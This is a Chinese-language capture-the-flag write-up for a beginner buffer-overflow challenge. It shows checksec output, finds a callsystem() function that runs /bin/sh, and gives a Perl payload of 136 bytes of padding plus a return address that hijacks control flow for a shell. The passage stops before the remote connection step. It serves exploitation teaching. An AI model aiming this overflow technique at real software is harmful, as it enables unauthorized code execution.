题目描述
菜鸡了解了什么是溢出,他相信自己能得到shell
Solution
首先用file查看文件类型,得知这是 ELF64 文件:
┌──(cheery㉿Laptop)-[~/Desktop/pwn]└─$ file 001001: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped┌──(cheery㉿Laptop)-[~/Desktop/pwn]└─$ checksec --file=001RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILENo RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69) Symbols No 0 1 001
运行它,程序会打印Hello, World,读取完用户输入后退出。我们用 Cutter 打开,选择下方的 Strings 标签,把 Section 改成 .rodata,发现一个有意思的字符串/bin/sh。

对着它按右键,选择Show X-Refs查找谁在引用它,根据,发现是callsystem()函数:

对于main()函数来说,它向 1 号文件描述符(Stdin)写入Hello, World\n,然后执行vulnerable_function():

在vulnerable_function()里,调用read从标准输入读取输入,存入栈上的缓冲区:

整个栈只有0x80这么大,而读取进来的上限高达0x200,这会引发栈溢出。本题的思路,就是触发栈溢出,把返回地址改成callsystem(),即可拿 Shell。
我们进入 GDB 调试:
(gdb) b vulnerable_function
(gdb) ni 5
执行read()后,输入aaaabbbbccccdddd,再用x /144bx $rsp观察栈的地址:

我们编写一段 Perl 脚本来完成我们的构想:
$padding = "aaaabbbb" x17;
print($padding);
$ret_addr = "\x96\x05\x40" . "\x00" x4;
print($ret_addr);
运行效果如下:

我们生成题目的在线场景,使用如下命令连接:

